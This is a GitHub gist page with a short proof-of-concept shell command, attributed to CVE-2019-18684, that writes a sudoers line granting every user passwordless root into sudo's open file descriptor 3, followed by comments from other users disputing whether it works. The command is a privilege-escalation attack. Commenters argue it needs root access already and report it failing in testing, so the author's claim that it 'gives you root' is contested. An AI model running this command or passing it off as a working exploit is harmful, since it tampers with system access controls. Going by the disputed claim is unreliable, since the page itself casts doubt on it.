Skip to content

Instantly share code, notes, and snippets.

@oxagast
Last active November 14, 2019 07:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oxagast/51171aa161074188a11d96cbef884bbd to your computer and use it in GitHub Desktop.
Save oxagast/51171aa161074188a11d96cbef884bbd to your computer and use it in GitHub Desktop.
Write to /etc/sudoers using file descriptor 3 on sudo's process while asking for a pass
# oxagast / Marshall Whittaker
#
# The echo line uses sudoers file format to allow for everyone to
# use the root account and writes it to proc/23423/fd/3 (where
# the number is sudo's process. If you have write access to file
# descriptor 3 it gives you root!
# Cavets: sudo must be running asking for a password at the time.
# you must have write permission to 3.
#
# Race condition between when getting the uid of sudo and the
# setresuid and openat() syscall before being reset to 0 here.
#
# --- SNIP ---
# getresuid([0], [0], [0]) = 0
# getresgid([0], [0], [0]) = 0
# openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY) = 3
# fstat(3, {st_mode=S_IFREG|0644, st_size=556, ...}) = 0
# read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 556
# read(3, "", 4096) = 0
# close(3) = 0
# setresuid(-1, 1, -1) = 0
# stat("/etc/sudoers", {st_mode=S_IFREG|0440, st_size=39, ...}) = 0
# openat(AT_FDCWD, "/etc/sudoers", O_RDONLY) = 3
# fstat(3, {st_mode=S_IFREG|0440, st_size=39, ...}) = 0
# read(3, "root ALL=(ALL) ALL\n%sudo ALL=(AL"..., 4096) = 39
# lseek(3, 0, SEEK_SET) = 0
# fcntl(3, F_SETFD, FD_CLOEXEC) = 0
# setresuid(-1, 0, -1) = 0
# --- SNIP ---
echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/`pgrep sudo`/fd/3
@Beuc
Copy link

Beuc commented Nov 6, 2019

I see MITRE assigned CVE-2019-18684 to this.

I am not sure what the vulnerability is:

  • the provided trace is about sudo run as root (not as an unprivileged user)
  • /proc/`pgrep sudo`/fd/ would be restricted to root because the sudo binary is setuid
  • fd 3 is not static so if pre-opened, open(2) would return another one

Consequently it seems this is only exploitable if the attacker is already root.
Can you clarify?

@oxagast
Copy link
Author

oxagast commented Nov 6, 2019

It's only viable if you can write to fd/3. So you'll need to pair it with something else that has arbitrary write to any file descriptor.

@millert
Copy link

millert commented Nov 6, 2019

Since fd/3 is just a symbolic link to /etc/sudoers I don't see how you could write to it unless you have sufficient privileges to write to /etc/sudoers. In which case, what's the point?

@adsnjhfyeqw231eas
Copy link

adsnjhfyeqw231eas commented Nov 14, 2019

Apart from the issue of not having write access to fd/*, fd/3 does not necessarily points to /etc/sudoers because it depends on the sudo command we are passing before running echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/pgrep sudo/fd/3.
In my test environment, I had:
[test@abcdefg ~]$ sudo ls -l /proc/11730/fd
total 0
lrwx------ 1 root root 64 Nov 12 00:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 10 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 12 00:41 11 -> 'socket:[11557214]'
lrwx------ 1 root root 64 Nov 12 00:41 2 -> /dev/pts/1
lr-x------ 1 root root 64 Nov 12 00:41 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Nov 12 00:41 4 -> 'socket:[11556811]'
lr-x------ 1 root root 64 Nov 12 00:41 5 -> /etc/sudoers
lr-x------ 1 root root 64 Nov 12 00:41 6 -> /var/lib/sss/mc/initgroups
lr-x------ 1 root root 64 Nov 12 00:41 7 -> /var/lib/sss/mc/group
lrwx------ 1 root root 64 Nov 12 00:41 8 -> /run/sudo/ts/test
lrwx------ 1 root root 64 Nov 12 00:41 9 -> 'socket:[11556818]'

where fd/5 points to /etc/sudoers, the poc did not work for me.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment